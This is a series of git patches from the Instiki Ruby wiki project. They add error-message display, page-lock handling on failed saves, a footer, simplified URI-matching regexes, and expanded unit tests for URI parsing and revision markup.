remote_ip) - ) - end cookies['author'] = @params['author'] - redirect_show(@page_name) + + begin + if @web.pages[@page_name] + page = wiki.revise_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + page.unlock + else + page = wiki.write_page( + @web_name, @page_name, @params['content'], Time.now, + Author.new(@params['author'], remote_ip) + ) + end + redirect_show(@page_name) + rescue Instiki::ValidationError => e + flash[:error] = e + return_to_last_remembered + end end def show diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 11267754..2a11daeb 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -543,13 +543,17 @@ class WikiControllerTest < Test::Unit::TestCase def test_save_new_revision_identical_to_last revisions_before = @home.revisions.size - assert_raise(Instiki::ValidationError) { - process 'save', 'web' => 'wiki1', 'id' => 'HomePage', + r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', 'content' => @home.revisions.last.content.dup, - 'author' => 'SomeOtherAuthor' - } + 'author' => 'SomeOtherAuthor'}, {:return_to => '/wiki1/show/HomePage'} + + assert_redirect_url '/wiki1/show/HomePage' + assert_flash_has :error + assert r.flash[:error].kind_of?(Instiki::ValidationError) + revisions_after = @home.revisions.size assert_equal revisions_before, revisions_after + end From b9737747f2743d077faa8451dcc671de45f18ac1 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 00:27:28 +0000 Subject: [PATCH 039/529] Display error message from a flash at the top of the page --- app/views/layouts/default.rhtml | 4 ++++ public/stylesheets/instiki.css | 6 ++++++ 2 files changed, 10 insertions(+) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 778403a6..8885a2de 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -47,6 +47,10 @@ <% end %> +<% if @flash[:error] %>
        +

        <%= @flash[:error].to_s %>


        +<% end %> + <%= render 'navigation' unless @web.nil? || @hide_navigation %> <%= @content_for_layout %> diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index 067ed43e..b656b79b 100755 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -137,6 +137,12 @@ ol.setup li { background: lightgreen; } +.error { + color: darkred; + font-style: italic; + width: 450px; +} + #TextileHelp table { margin-bottom: 0; } From 94292199b24799261c2d2fe4d7f59f886de5c745 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 00:33:10 +0000 Subject: [PATCH 040/529] Corrected a link, and changed it to a link_to method --- app/views/wiki/locked.rhtml | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/app/views/wiki/locked.rhtml b/app/views/wiki/locked.rhtml index 79f0458e..d9eb6527 100755 --- a/app/views/wiki/locked.rhtml +++ b/app/views/wiki/locked.rhtml @@ -7,6 +7,14 @@ <% end %>

        - Edit the page anyway | - Cancel + <%= link_to 'Edit the page anyway', + {:web => @web_name, :action => 'edit', :id => @page.name, :params => {'break_lock' => '1'} }, + {:accesskey => 'E'} + %> + + <%= link_to 'Cancel', + {:web => @web_name, :action => 'show', :id => @page.name}, + {:accesskey => 'C'} + %> +

        From 7c02805102744f4e439caa40a9afe9f1018e3a63 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 00:36:43 +0000 Subject: [PATCH 041/529] Unsuccessful save unlocks the page; some tweaks and debug-level logging in in return_to_last_remembered --- app/controllers/application.rb | 14 +++++++++----- app/controllers/wiki_controller.rb | 6 ++++-- test/functional/wiki_controller_test.rb | 3 ++- 3 files changed, 15 insertions(+), 8 deletions(-) diff --git a/app/controllers/application.rb b/app/controllers/application.rb index a6a7480f..09219455 100644 --- a/app/controllers/application.rb +++ b/app/controllers/application.rb @@ -28,12 +28,15 @@ class ApplicationController < ActionController::Base $instiki_wiki_service end - @@REMEMBER_NOT = [] + @@REMEMBER_NOT = ['locked', 'save'] def remember_location +logger.debug @request.method if @response.headers['Status'] == '200 OK' - @session[:return_to] = url_for unless @@REMEMBER_NOT.include? action_name - @session[:already_tried_index_as_fallback] = false + unless @@REMEMBER_NOT.include? action_name or @request.method != :get + @session[:return_to] = url_for + logger.debug("Session ##{session.object_id}: remembered URL '#{@session[:return_to]}'") + end end end @@ -42,10 +45,11 @@ class ApplicationController < ActionController::Base redirect_target, @session[:return_to] = @session[:return_to], nil # then try to redirect to it if redirect_target.nil? - raise 'Cannot redirect to index' if @session[:already_tried_index_as_fallback] - @session[:already_tried_index_as_fallback] = true + logger.debug("Session ##{session.object_id}: no remembered redirect location, trying /") redirect_to_url '/' else + logger.debug("Session ##{session.object_id}: " + + "redirect to the last remembered URL #{redirect_target}") redirect_to_url(redirect_target) end end diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index b641797c..0f711ffc 100755 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -216,20 +216,22 @@ class WikiController < ApplicationController cookies['author'] = @params['author'] begin + page = @web.pages[@page_name] if @web.pages[@page_name] - page = wiki.revise_page( + wiki.revise_page( @web_name, @page_name, @params['content'], Time.now, Author.new(@params['author'], remote_ip) ) page.unlock else - page = wiki.write_page( + wiki.write_page( @web_name, @page_name, @params['content'], Time.now, Author.new(@params['author'], remote_ip) ) end redirect_show(@page_name) rescue Instiki::ValidationError => e + page.unlock if defined? page flash[:error] = e return_to_last_remembered end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 2a11daeb..06d7555c 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -542,6 +542,7 @@ class WikiControllerTest < Test::Unit::TestCase def test_save_new_revision_identical_to_last revisions_before = @home.revisions.size + @home.lock(Time.now, 'AnAuthor') r = process 'save', {'web' => 'wiki1', 'id' => 'HomePage', 'content' => @home.revisions.last.content.dup, @@ -553,7 +554,7 @@ class WikiControllerTest < Test::Unit::TestCase revisions_after = @home.revisions.size assert_equal revisions_before, revisions_after - + assert !@home.locked?(Time.now), 'HomePage should be unlocked if an edit was unsuccessful' end From 5db16d8850a87b082674f2207caff30b84f1cf87 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 00:44:39 +0000 Subject: [PATCH 042/529] Documented the last changes --- CHANGELOG | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CHANGELOG b/CHANGELOG index ade672f8..ee6a6125 100755 --- a/CHANGELOG +++ b/CHANGELOG @@ -10,6 +10,7 @@ HEAD: Fixed parsing of URIs with a port number (http://someplace.org:8080) Instiki will not fork itself on a *nix, unless explicitly asked to Instiki can bind to IPs other than 127.0.0.1 (command-line option) + Revisions that do not change anything on the page are rejected Automated tests for all controller actions Various usability enhancements @@ -18,7 +19,7 @@ HEAD: take place. Changed to use inline style on published pages Fixed "forward in time" on the last revision before current page - Instiki won't log bogus error messages when creating a new Wiki. + Instiki won't log bogus error messages when creating a new Wiki Fixed deprecation warning for Object.id (introduced in Ruby 1.8.2) Madeleine upgraded to 0.7.1 Madeleine snapshots are compressed From b195cd8b74311265657661bbffca922012779bbe Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 01:19:58 +0000 Subject: [PATCH 043/529] Footer with links to instiki.org and rubyonrails.org --- app/views/layouts/default.rhtml | 10 +++++++++- public/stylesheets/instiki.css | 19 +++++++++++++++---- 2 files changed, 24 insertions(+), 5 deletions(-) diff --git a/app/views/layouts/default.rhtml b/app/views/layouts/default.rhtml index 8885a2de..da13eee5 100644 --- a/app/views/layouts/default.rhtml +++ b/app/views/layouts/default.rhtml @@ -47,14 +47,22 @@ <% end %> -<% if @flash[:error] %>
        +<% if @flash[:error] %>

        <%= @flash[:error].to_s %>


        <% end %> <%= render 'navigation' unless @web.nil? || @hide_navigation %> <%= @content_for_layout %> + +
    + diff --git a/public/stylesheets/instiki.css b/public/stylesheets/instiki.css index b656b79b..30040e49 100755 --- a/public/stylesheets/instiki.css +++ b/public/stylesheets/instiki.css @@ -28,9 +28,6 @@ a { color: #000; } a:visited { color: #666; } a:hover { color: #fff; background-color:#000; } -/* a.edit:link, a.edit:visited { color: #DA0006; } */ - - h1, h2, h3 { color: #333; font-family: georgia, verdana; } h1 { font-size: 28px } h2 { font-size: 19px } @@ -137,7 +134,21 @@ ol.setup li { background: lightgreen; } -.error { +#footer { + height: 14px; + padding: .25em 0; +} + +#footer p { + font-size: 10px; + color: gray; + font-style: italic; + margin: 0; + float: right; + text-align: right; +} + +#error { color: darkred; font-style: italic; width: 450px; From 7748ea4ecd81a4d77faea380fa9990beb5fa0ee2 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 17:50:16 +0000 Subject: [PATCH 044/529] End-of-line style for "executables" is LF (Unix) so that shebangs always work. --- instiki | 12 ++++++------ instiki.rb | 6 +++--- 2 files changed, 9 insertions(+), 9 deletions(-) mode change 100644 => 100755 instiki.rb diff --git a/instiki b/instiki index 7706006c..0d054884 100755 --- a/instiki +++ b/instiki @@ -1,6 +1,6 @@ -#!/usr/bin/ruby - -# Executable file for a gem -# must be same as ./instiki.rb - -load File.dirname(__FILE__) + "/script/server" +#!/usr/bin/ruby + +# Executable file for a gem +# must be same as ./instiki.rb + +load File.dirname(__FILE__) + "/script/server" diff --git a/instiki.rb b/instiki.rb old mode 100644 new mode 100755 index 2c7cde12..522e84d2 --- a/instiki.rb +++ b/instiki.rb @@ -1,3 +1,3 @@ -#!/usr/bin/ruby - -load File.dirname(__FILE__) + "/script/server" +#!/usr/bin/ruby + +load File.dirname(__FILE__) + "/script/server" From 8bf050292a324159c5100010450e5a6da8798f0d Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 18:55:40 +0000 Subject: [PATCH 045/529] [BREAKS BUILD] Deleted a wrong require that was causing Rake to skip uri_test.rb (bug in Rake?). There was, as it turned out, a failing test there. --- test/unit/uri_test.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 722a479f..e5978426 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -2,7 +2,6 @@ require File.dirname(__FILE__) + '/../test_helper' require 'chunks/uri' -require 'chunks/match' class URITest < Test::Unit::TestCase include ChunkMatch From fb2e77a2ceb1e1d675cd351ff6c13b7b548b5959 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 19:15:48 +0000 Subject: [PATCH 046/529] More tests in uri_test.rb --- test/unit/uri_test.rb | 59 ++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 55 insertions(+), 4 deletions(-) diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index e5978426..8329883b 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -12,26 +12,33 @@ class URITest < Test::Unit::TestCase end def test_simple_uri + # Simplest case match(URIChunk, 'http://www.example.com', :scheme =>'http', :host =>'www.example.com', :path => nil, :link_text => 'http://www.example.com' ) + # With trailing slash match(URIChunk, 'http://www.example.com/', :scheme =>'http', :host =>'www.example.com', :path => '/', :link_text => 'http://www.example.com/' ) + # Without http:// match(URIChunk, 'www.example.com', :scheme =>'http', :host =>'www.example.com', :link_text => 'www.example.com' ) + # two parts match(URIChunk, 'example.com', :scheme =>'http',:host =>'example.com', :link_text => 'example.com' ) + # "unusual" base domain (was a bug in an early version) match(URIChunk, 'http://example.com.au/', :scheme =>'http', :host =>'example.com.au', :link_text => 'http://example.com.au/' ) + # "unusual" base domain without http:// match(URIChunk, 'example.com.au', :scheme =>'http', :host =>'example.com.au', :link_text => 'example.com.au' ) + # Another "unusual" base domain match(URIChunk, 'http://www.example.co.uk/', :scheme =>'http', :host =>'www.example.co.uk', :link_text => 'http://www.example.co.uk/' @@ -39,14 +46,56 @@ class URITest < Test::Unit::TestCase match(URIChunk, 'example.co.uk', :scheme =>'http', :host =>'example.co.uk', :link_text => 'example.co.uk' ) + # With some path at the end match(URIChunk, 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation', :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', :link_text => 'http://moinmoin.wikiwikiweb.de/HelpOnNavigation' ) + # With some path at the end, and withot http:// prefix match(URIChunk, 'moinmoin.wikiwikiweb.de/HelpOnNavigation', :scheme => 'http', :host => 'moinmoin.wikiwikiweb.de', :path => '/HelpOnNavigation', :link_text => 'moinmoin.wikiwikiweb.de/HelpOnNavigation' ) + # With a port number + match(URIChunk, 'http://www.example.com:80', + :scheme =>'http', :host =>'www.example.com', :port => '80', :path => nil, + :link_text => 'http://www.example.com:80') + # With a port number and a path + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation') + # With a query + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val') + # Query with two arguments + match(URIChunk, 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', :path => '/HelpOnNavigation', + :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/HelpOnNavigation?arg=val&arg2=val2') + # HTTPS + match(URIChunk, 'https://www.example.com', + :scheme =>'https', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'https://www.example.com') + # FTP + match(URIChunk, 'ftp://www.example.com', + :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'ftp://www.example.com') + # mailto + match(URIChunk, 'mailto:www@example.com', + :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'mailto:www@example.com') + # something nonexistant + match(URIChunk, 'foobar://www.example.com', + :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, + :link_text => 'foobar://www.example.com') + + # Soap opera (the most complex case imaginable... well, not really, there should be more evil) + match(URIChunk, 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2', + :scheme =>'http', :host =>'www.example.com.tw', :port => '80', + :path => '/~jdoe123/Help%20Me%20', :query => 'arg=val&arg2=val2', + :link_text => 'http://www.example.com.tw:80/~jdoe123/Help%20Me%20?arg=val&arg2=val2') end def test_email_uri @@ -63,15 +112,17 @@ class URITest < Test::Unit::TestCase def test_non_uri assert_no_match(URIChunk.pattern, 'httpd.conf') assert_no_match(URIChunk.pattern, 'libproxy.so') + assert_no_match(URIChunk.pattern, 'ld.so.conf') end def test_uri_in_text match(URIChunk, 'Go to: http://www.example.com/', :host => 'www.example.com', :path =>'/') match(URIChunk, 'http://www.example.com/ is a link.', :host => 'www.example.com') match(URIChunk, - 'Email david@loudthinking.com', - :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com' - ) + 'Email david@loudthinking.com', + :scheme =>'mailto', :user =>'david', :host =>'loudthinking.com') + # check that trailing punctuation is not included in the hostname + match(URIChunk, '"link":http://fake.link.com.', :scheme => 'http', :host => 'fake.link.com') end def test_uri_in_parentheses @@ -99,5 +150,5 @@ class URITest < Test::Unit::TestCase :query => 'arg=val' ) end - + end From 60c16e0be7e7a1e258856fde5fb23dc886fca0bc Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 20:29:10 +0000 Subject: [PATCH 047/529] Corrected failing test --- test/unit/uri_test.rb | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/test/unit/uri_test.rb b/test/unit/uri_test.rb index 8329883b..1b252fc9 100755 --- a/test/unit/uri_test.rb +++ b/test/unit/uri_test.rb @@ -83,9 +83,9 @@ class URITest < Test::Unit::TestCase :scheme =>'ftp', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, :link_text => 'ftp://www.example.com') # mailto - match(URIChunk, 'mailto:www@example.com', + match(URIChunk, 'mailto:jdoe123@example.com', :scheme =>'mailto', :host =>'example.com', :port => nil, :path => nil, :query => nil, - :link_text => 'mailto:www@example.com') + :user => 'jdoe123', :link_text => 'mailto:jdoe123@example.com') # something nonexistant match(URIChunk, 'foobar://www.example.com', :scheme =>'foobar', :host =>'www.example.com', :port => nil, :path => nil, :query => nil, @@ -142,13 +142,14 @@ class URITest < Test::Unit::TestCase ) end - def test_uri_with_port + def test_interesting_uri_with__comma + # Counter-intuitively, this URL matches, but the query part includes the trailing comma. + # It has no way to know that the query does not include the comma. match( - URIChunk, - "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", - :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', - :query => 'arg=val' - ) + URIChunk, + "This text contains a URL http://someplace.org:8080/~person/stuff.cgi?arg=val, doesn't it?", + :scheme => 'http', :host => 'someplace.org', :port => '8080', :path => '/~person/stuff.cgi', + :query => 'arg=val,') end end From 07e43d2daef39640d0bdc564eca971dc4f889b1e Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 20:31:42 +0000 Subject: [PATCH 048/529] Streamlined URI parsing [dm1] --- app/models/chunks/uri.rb | 62 +++++++++++++++++++--------------------- 1 file changed, 29 insertions(+), 33 deletions(-) diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb index 8984b2d6..f5a914c2 100755 --- a/app/models/chunks/uri.rb +++ b/app/models/chunks/uri.rb @@ -26,53 +26,49 @@ class URIChunk < Chunk::Abstract COUNTRY = '(?:au|at|be|ca|ch|de|dk|fr|hk|in|ir|it|jp|nl|no|pt|ru|se|sw|tv|tw|uk|us)' # These are needed otherwise HOST will match almost anything - TLDS = "\\.(?:#{GENERIC}|#{COUNTRY})" - + TLDS = "(?:#{GENERIC}|#{COUNTRY})" + # Redefine USERINFO so that it must have non-zero length USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+" - # Pattern of legal URI endings to stop interference with some Textile - # markup. (Images: !URI!) and other punctuation eg, (http://wiki.com/) - URI_ENDING = '[)!]' - + # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded + UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}" + + # this ensures that query or fragment do not end with URI_ENDING + # and enable us to use a much simpler self.pattern Regexp + + # uric_no_ending = reserved | unreserved_no_ending | escaped + URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})" + # query = *uric + QUERY = "#{URIC_NO_ENDING}*" + # fragment = *uric + FRAGMENT = "#{URIC_NO_ENDING}*" + + # DOMLABEL is defined in the ruby uri library, TLDS is defined above + FULL_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" + # Correct a typo bug in ruby 1.8.x lib/uri/common.rb PORT = '\\d*' - # The basic URI expression as a string - URI_PATTERN = - "(?:(#{SCHEME})://)?" + # Optional scheme:// (\1|\8) - "(?:(#{USERINFO})@)?" + # Optional userinfo@ (\2|\9) - "(#{HOSTNAME}#{TLDS})" + # Mandatory host eg, HOST.com.au (\3|\10) - "(?::(#{PORT}))?" + # Optional :port (\4|\11) - "(#{ABS_PATH})?" + # Optional absolute path (\5|\12) - "(?:\\?(#{QUERY}))?" + # Optional ?query (\6|\13) - "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7|\14) - + URI_PATTERN = + "(?:(#{SCHEME}):/{0,2})?" + # Optional scheme: (\1) + "(?:(#{USERINFO})@)?" + # Optional userinfo@ (\2) + "(#{FULL_HOSTNAME})" + # Mandatory hostname (\3) + "(?::(#{PORT}))?" + # Optional :port (\4) + "(#{ABS_PATH})?" + # Optional absolute path (\5) + "(?:\\?(#{QUERY}))?" + # Optional ?query (\6) + "(?:\\#(#{FRAGMENT}))?" # Optional #fragment (\7) end def self.pattern() - # This pattern first tries to match the URI_PATTERN that ends with - # punctuation that is a valid URI character (eg, ')', '!'). If - # such a match occurs, there should be no backtracking (hence the ?> ). - # If the string cannot match a URI ending with URI_ENDING, then a second - # attempt is tried. - Regexp.new("(?>#{URI_PATTERN}(?=#{URI_ENDING}))|#{URI_PATTERN}", Regexp::EXTENDED, 'N') + Regexp.new(URI_PATTERN, Regexp::EXTENDED, 'N') end attr_reader :uri, :scheme, :user, :host, :port, :path, :query, :fragment, :link_text def initialize(match_data) super(match_data) - # Since the URI_PATTERN is tried twice, there are two sets of - # groups, one from \1 to \7 and the second from \8 to \14. - # The fields are set by which ever group matches. - @scheme = match_data[1] || match_data[8] - @user = match_data[2] || match_data[9] - @host = match_data[3] || match_data[10] - @port = match_data[4] || match_data[11] - @path = match_data[5] || match_data[12] - @query = match_data[6] || match_data[13] - @fragment = match_data[7] || match_data[14] + @scheme, @user, @host, @port, @path, @query, @fragment = match_data[1..-1] # If there is no scheme, add an appropriate one, otherwise # set the URI to the matched text. @@ -95,7 +91,7 @@ class URIChunk < Chunk::Abstract # If the text should be escaped then don't keep this chunk. # Otherwise only keep this chunk if it was substituted back into the # content. - def unmask(content) + def unmask(content) return nil if escaped_text return self if content.sub!( Regexp.new(mask(content)), "#{link_text}" ) end From ca22e59c3848f527ecddec1c70281c883e7a57e5 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Tue, 18 Jan 2005 22:32:50 +0000 Subject: [PATCH 049/529] [BREAKS BUILD] Corrected and refactored revision_test.rb Same story as with uri_test.rb; this test was skipped by Rake, because there was a syntax error in it. Now there is no syntax error, but there is a failing test instead (introduced by changeset:48) --- test/unit/revision_test.rb | 158 ++++++++++++++++--------------------- 1 file changed, 66 insertions(+), 92 deletions(-) diff --git a/test/unit/revision_test.rb b/test/unit/revision_test.rb index 7a29ed36..2ce24f04 100755 --- a/test/unit/revision_test.rb +++ b/test/unit/revision_test.rb @@ -4,7 +4,8 @@ require File.dirname(__FILE__) + '/../test_helper' require 'web' require 'revision' -class WebStub < Web; +class WebStub < Web + def initialize(); end attr_accessor :markup def pages() PagesStub.new end def safe_mode() false end @@ -20,58 +21,16 @@ end class RevisionTest < Test::Unit::TestCase def setup - @page = PageStub.new @web = WebStub.new - @page.web = @web - @web.markup = :textile + @page = PageStub.new + @page.web = @web + @revision = Revision.new(@page, 1, 'HisWay would be MyWay in kinda ThatWay in HisWay though MyWay \\OverThere -- ' + 'see SmartEngine in that SmartEngineGUI', Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - - @revision_with_auto_links = Revision.new(@page, 1, - "http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com", - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - - @revision_with_aliased_links = Revision.new(@page, 1, - 'Would a [[SmartEngine|clever motor]] go by any other name?', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_wiki_word_in_em = Revision.new(@page, 1, '_should we go ThatWay or ThisWay _', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_pre_blocks = Revision.new(@page, 1, - 'A class SmartEngine end would not mark up
    CodeBlocks
    ', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_wikiword_in_tag = Revision.new(@page, 1, - 'That is some Stylish Emphasis', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_autolink_in_parentheses = Revision.new( - @page, 1, 'The W3C body (http://www.w3c.org) sets web standards', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_link_in_parentheses = Revision.new( - @page, 1, - 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ' + - '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup', - Time.local(2004, 4, 4, 16, 50), 'MarkReid' - ) - - @revision_with_image_link = Revision.new(@page, 1, - 'This !http://hobix.com/sample.jpg! is a Textile image link.', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_nowiki_text = Revision.new(@page, 1, - 'Do not mark up [[this text]] or http://www.thislink.com.', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') - - @revision_with_bracketted_wiki_word = Revision.new(@page, 1, - 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].', - Time.local(2004, 4, 4, 16, 50), 'MarkReid') end def test_wiki_words @@ -101,27 +60,24 @@ class RevisionTest < Test::Unit::TestCase def test_bluecloth @web.markup = :markdown - @revision = Revision.new(@page, 1, "My Headline\n===========\n\n that SmartEngineGUI", - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + assert_markup_parsed_as( + %{

    My Headline

    \n\n

    that } + + %{Smart Engine GUI?

    }, + "My Headline\n===========\n\n that SmartEngineGUI") - @revision_with_code_block = Revision.new(@page, 1, - [ 'This is a code block:', + code_block = [ + 'This is a code block:', '', ' def a_method(arg)', ' return ThatWay', '', - 'Nice!'].join("\n"), - Time.local(2004, 4, 4, 16, 50), - 'MarkReid' - ) + 'Nice!' + ].join("\n") - assert_equal %{

    My Headline

    \n\n

    that } + - %{Smart Engine GUI?

    }, - @revision.display_content - - assert_equal %{

    This is a code block:

    \n\n
    def a_method(arg)\n} +
    +	assert_markup_parsed_as(
    +	    %{

    This is a code block:

    \n\n
    def a_method(arg)\n} +
     	    %{return ThatWay\n
    \n\n

    Nice!

    }, - @revision_with_code_block.display_content + code_block) end def test_rdoc @@ -130,65 +86,81 @@ class RevisionTest < Test::Unit::TestCase @revision = Revision.new(@page, 1, '+hello+ that SmartEngineGUI', Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - assert_equal "hello that Smart Engine GUI' + + assert_equal "hello that Smart Engine GUI" + "?\n\n", @revision.display_content end def test_content_with_auto_links - assert_equal '

    http://www.loudthinking.com/ ' + + assert_markup_parsed_as( + '

    http://www.loudthinking.com/ ' + 'points to That Way from ' + 'david@loudthinking.com

    ', - @revision_with_auto_links.display_content + 'http://www.loudthinking.com/ points to ThatWay from david@loudthinking.com') + end def test_content_with_aliased_links - assert_equal '

    Would a clever motor' + - ' go by any other name?

    ', @revision_with_aliased_links.display_content + assert_markup_parsed_as( + '

    Would a clever motor' + + ' go by any other name?

    ', + 'Would a [[SmartEngine|clever motor]] go by any other name?') end def test_content_with_wikiword_in_em - assert_equal '

    should we go ' + + assert_markup_parsed_as( + '

    should we go ' + 'That Way or This Way?' + - '

    ', @revision_with_wiki_word_in_em.display_content + '

    ', + '_should we go ThatWay or ThisWay _') end def test_content_with_wikiword_in_tag - assert_equal '

    That is some Stylish Emphasis

    ', - @revision_with_wikiword_in_tag.display_content + assert_markup_parsed_as( + '

    That is some Stylish Emphasis

    ', + 'That is some Stylish Emphasis') end def test_content_with_pre_blocks - assert_equal 'A class SmartEngine end would not mark up
    CodeBlocks
    ', - @revision_with_pre_blocks.display_content + assert_markup_parsed_as( + 'A class SmartEngine end would not mark up
    CodeBlocks
    ', + 'A class SmartEngine end would not mark up
    CodeBlocks
    ') end def test_content_with_autolink_in_parentheses - assert_equal '

    The W3C body (' + + assert_markup_parsed_as( + '

    The W3C body (' + 'http://www.w3c.org) sets web standards

    ', - @revision_with_autolink_in_parentheses.display_content + 'The W3C body (http://www.w3c.org) sets web standards') end def test_content_with_link_in_parentheses - assert_equal '

    Instiki is a Wiki Clone' + + assert_markup_parsed_as( + '

    Instiki is a Wiki Clone' + ' (What is a wiki?) that’s ' + - 'so easy to setup

    ', @revision_with_link_in_parentheses.display_content + 'so easy to setup

    ', + 'Instiki is a "Wiki Clone":http://www.c2.com/cgi/wiki?WikiWikiClones ' + + '("What is a wiki?":http://wiki.org/wiki.cgi?WhatIsWiki) that\'s so easy to setup') end def test_content_with_image_link - assert_equal '

    This is a Textile image ' + - 'link.

    ', @revision_with_image_link.display_content + assert_markup_parsed_as( + '

    This is a Textile image link.

    ', + 'This !http://hobix.com/sample.jpg! is a Textile image link.') end def test_content_with_nowiki_text - assert_equal '

    Do not mark up [[this text]] or http://www.thislink.com.

    ', - @revision_with_nowiki_text.display_content + assert_markup_parsed_as( + '

    Do not mark up [[this text]] or http://www.thislink.com.

    ', + 'Do not mark up [[this text]] ' + + 'or http://www.thislink.com.') end def test_content_with_bracketted_wiki_word @web.brackets_only = true - assert_equal '

    This is a WikiWord and a tricky name ' + + assert_markup_parsed_as( + '

    This is a WikiWord and a tricky name ' + 'Sperberg-McQueen?.

    ', - @revision_with_bracketted_wiki_word.display_content + 'This is a WikiWord and a tricky name [[Sperberg-McQueen]].') end def test_content_for_export @@ -228,21 +200,23 @@ class RevisionTest < Test::Unit::TestCase end def test_revisions_diff - page = PageStub.new - web = WebStub.new - web.markup = :textile - page.web = web - page.revisions = [ 0 ] - page.revisions << Revision.new(page, 1, 'What a blue and lovely morning', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + @page.revisions = [ + Revision.new(@page, 0, 'What a blue and lovely morning', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson'), + Revision.new(@page, 1, 'What a red and lovely morning today', + Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') + ] - page.revisions << Revision.new(page, 2, 'What a red and lovely morning today', - Time.local(2004, 4, 4, 16, 50), 'DavidHeinemeierHansson') - assert_equal "

    What a blue red " + "and lovely morningmorning " + - "today

    ", page.revisions.last.display_diff + "today

